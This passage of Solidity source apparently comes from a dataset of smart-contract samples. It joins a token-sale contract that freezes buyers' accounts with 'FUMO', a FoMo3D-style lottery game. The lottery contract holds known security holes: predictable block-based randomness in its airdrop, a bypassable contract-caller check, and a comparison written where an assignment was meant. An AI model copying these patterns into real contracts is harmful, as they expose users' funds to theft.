SafeMath for uint256; event Approval(address indexed _tokenholder, address indexed _tokenspender, uint256 _value); function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen returns (bool) { require(_to != address(0) && _from != _to); require(!isFrozen(_from) && !isFrozen(_to)); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); trackAddresses(_to); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _tokenspender, uint256 _value) public whenNotPaused notFrozen returns (bool) { require(_tokenspender != address(0) && msg.sender != _tokenspender); require(!isFrozen(_tokenspender)); require((_value == 0) || (allowances[msg.sender][_tokenspender] == 0)); allowances[msg.sender][_tokenspender] = _value; emit Approval(msg.sender, _tokenspender, _value); return true; } function allowance(address _tokenholder, address _tokenspender) public view whenNotPaused returns (uint256) { require(!isFrozen(_tokenholder) && !isFrozen(_tokenspender)); return allowances[_tokenholder][_tokenspender]; } } pragma solidity ^0.4.21; contract IntimateShoppe is Pausable, RecoverCurrency { using SafeMath for uint256; address[] internal contributors; mapping (address => uint256[]) internal contributions; event Transfer(address indexed _from, address indexed _to, uint256 _value); event ITMTokenPurchase(address indexed _seller_wallet_address, address indexed _buyer_address, uint256 _value, uint256 _amount); event SetPeriod(uint256 _startTime, uint256 _endTime); StandardToken public token; address public token_address; uint256 public startTime; uint256 public endTime; address public wallet_address; uint256 public rate = 600; uint256 public capTokens; uint256 public maxValue = 100 ether; uint256 public minValue = uint256(1 ether)/600; uint256 public weiRaised = 0; uint256 public tokensSold = 0; uint256 internal highWater = 1 ether; uint8 public round = 0; function IntimateShoppe( uint256 _startTime, uint256 _duration, uint256 _rate, address _wallet_address, address _token_address, uint256 _cap, uint8 _round) public Authorized() { require(_startTime >= 0 && _duration > 0); require(_rate > 0); require(_wallet_address != address(0x0)); require(_token_address != address(0x0)); require(_cap > 0); round = _round; startTime = _startTime; endTime = startTime + _duration; rate = _rate; minValue = uint256(1 ether)/_rate; capTokens = _cap; wallet_address = _wallet_address; token_address = _token_address; token = StandardToken(token_address); } function trackContributions(address _sender, uint256 _value) internal { if (contributions[_sender].length == 0) { contributors.push(_sender); } contributions[_sender].push(_value); } function getContributors() external view ifAuthorized(msg.sender, APHRODITE) returns (address[]) { return contributors; } function getContributionsForAddress(address _contributor) external view ifAuthorized(msg.sender, APHRODITE) returns (uint256[]) { return contributions[_contributor]; } function setRound(uint8 _round) public ifAuthorized(msg.sender, APHRODITE) { round = _round; } function setMaxValue(uint256 _maxValue) public ifAuthorized(msg.sender, APHRODITE) { require(now < startTime || now > endTime); maxValue = _maxValue; } function setMinValue(uint256 _minValue) public ifAuthorized(msg.sender, APHRODITE) { require(now < startTime || now > endTime); minValue = _minValue; } function setTimes(uint256 _startTime, uint256 _duration) public ifAuthorized(msg.sender, APHRODITE) { require(now < startTime || now > endTime); require(_startTime >= 0 && _duration > 0); startTime = _startTime; endTime = startTime + _duration; emit SetPeriod(startTime, endTime); } function setCap(uint256 _capTokens) public ifAuthorized(msg.sender, APHRODITE) { require(now < startTime || now > endTime); require(_capTokens > 0); capTokens = _capTokens; } function setRate(uint256 _rate) public ifAuthorized(msg.sender, APHRODITE) { require(_rate > 0); rate = _rate; } function changeCompanyWallet(address _wallet_address) public ifAuthorized(msg.sender, APHRODITE) { wallet_address = _wallet_address; } function getHighWater() public view ifAuthorized(msg.sender, APHRODITE) returns (uint256) { return highWater; } function setHighWater(uint256 _highWater) public ifAuthorized(msg.sender, APHRODITE) { highWater = _highWater; } function () payable public { require(msg.value >= minValue && msg.value <= maxValue); backTokenOwner(); } function backTokenOwner() whenNotPaused internal { require(now >= startTime && now <= endTime); if (address(this).balance >= highWater) { wallet_address.transfer(address(this).balance); emit Transfer(this, wallet_address, address(this).balance); } trackContributions(msg.sender, msg.value); uint256 tokens = msg.value.mul(rate); if (token.transferFrom(wallet_address, msg.sender, tokens)) { token.freezeAccount(msg.sender); weiRaised = weiRaised.add(msg.value); tokensSold = tokensSold.add(tokens); emit ITMTokenPurchase(wallet_address, msg.sender, msg.value, tokens); require(tokensSold <= capTokens); } } }
1
3,651
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FUMO is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd085AcFC0FDaA418E03E8570EF9A4E25a0E14eCf); address private admin = 0x3705b81d42199138e53fb0ad57613ce309576077; address private coin_base = 0xC018492974D65c3B3A9FcE1B9f7577505F31A7D8; string constant public name = "FUMO"; string constant public symbol = "FUMO"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 6 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); coin_base.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(coin_base).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; coin_base.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library 